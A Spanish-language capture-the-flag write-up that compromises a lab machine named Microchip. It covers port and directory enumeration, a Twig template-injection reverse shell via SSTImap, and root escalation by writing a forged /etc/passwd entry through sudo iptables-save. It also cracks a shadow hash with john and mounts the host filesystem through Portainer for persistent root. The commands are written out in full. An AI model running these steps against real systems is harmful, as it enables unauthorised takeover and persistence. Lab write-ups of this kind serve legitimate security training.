Resolución del CTF: Microchip
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo. Al tratarse de un entorno de laboratorio, priorizamos velocidad y enumeración exhaustiva para detectar rápidamente superficies de ataque expuestas.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.110- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
El escaneo revela servicios HTTP, SSH, MySQL y un panel web adicional en el puerto 9000. La presencia de un dominio virtual obliga a resolver el nombre para interactuar correctamente con la aplicación web.
Enumeración Web
El servicio HTTP redirige a un virtual host, por lo que añadimos manualmente la resolución local para garantizar que las peticiones HTTP se procesen por la aplicación correcta.
echo "192.168.0.110 microchip.thl" | sudo tee -a /etc/hostsUna vez resuelto el dominio, identificamos que la aplicación corresponde a PrestaShop. Procedemos a enumerar rutas para localizar componentes internos accesibles que no estén pensados para exposición directa.
gobuster dir -u http://microchip.thl -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,htmlEntre los directorios listados, /src expone código interno de la aplicación. Dentro de este árbol se identifica el uso de Twig como motor de plantillas, lo que abre la posibilidad de una inyección de plantillas del lado servidor.
Explotación
Localizamos un parámetro reflejado por la aplicación que es procesado directamente por Twig. Al no existir un filtrado adecuado, el campo es vulnerable a Server Side Template Injection, permitiendo ejecución de comandos en el contexto del servidor web.
Para automatizar la explotación y reducir ruido manual, utilizamos SSTImap, que detecta el motor de plantillas y selecciona la técnica adecuada de ejecución remota.
git clone https://github.com/vladko312/SSTImap && cd SSTImapPreparamos un listener local para recibir la conexión inversa una vez se ejecute el payload remoto.
nc -lvnp 1234Lanzamos SSTImap indicando el parámetro vulnerable y solicitamos una reverse shell hacia nuestra máquina.
./sstimap.py -u "http://microchip.thl/index.php?user_input=hola" -R 192.168.0.95 1234Obtenemos una shell como www-data. Procedemos a estabilizarla para trabajar de forma interactiva y evitar cortes durante la post-explotación.
SHELL=/bin/bash script -q /dev/nullstty raw -echo && fgreset && export TERM=xtermEscalada de privilegios
Enumerando privilegios detectamos que el usuario www-data puede ejecutar iptables y iptables-save con sudo. Esta combinación permite escribir archivos arbitrarios como root abusando de los comentarios persistentes en reglas de firewall.
Primero generamos un hash válido para una contraseña conocida que usaremos en la entrada falsificada de /etc/passwd.
openssl passwd -1 password123Inyectamos una regla de iptables cuyo comentario contiene una línea completa con formato válido de usuario root. El uso de $'\\n' permite introducir saltos de línea reales en el comentario.
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$n9kebw3E$oS1zMv7qsVoWrSm7m/9fK1:0:0:root:/root:/bin/bash\n'Volcamos las reglas directamente sobre /etc/passwd. Al ejecutarse con sudo, el fichero queda sobrescrito como root incluyendo nuestra entrada controlada.
sudo iptables-save -f /etc/passwdCon la entrada ya escrita, cambiamos a root utilizando la contraseña generada previamente.
su rootCredenciales y acceso adicional
Desde root accedemos a /etc/shadow y extraemos el hash del usuario kike. El hash se crackea fuera de la máquina para evitar consumo innecesario de recursos en el objetivo.
john --format=sha512crypt hashkike.txt --wordlist=/usr/share/wordlists/rockyou.txtLas credenciales obtenidas permiten acceso SSH directo al sistema.
Abuso de Portainer
El servicio expuesto en el puerto 9000 corresponde a Portainer. Reutilizamos las credenciales obtenidas para autenticarnos como administrador y desplegar un contenedor con un bind mount al sistema raíz del host.
Montando / del host en /mnt/root dentro del contenedor, obtenemos acceso de escritura a los ficheros críticos del sistema desde el propio contenedor.
sed -i 's|^root:.*|root:$1$n9kebw3********m/9fK1:0:0:root:/root:/bin/bash|' /mnt/root/etc/passwdCon esto garantizamos acceso persistente como root directamente sobre el host, completando el compromiso total del sistema.
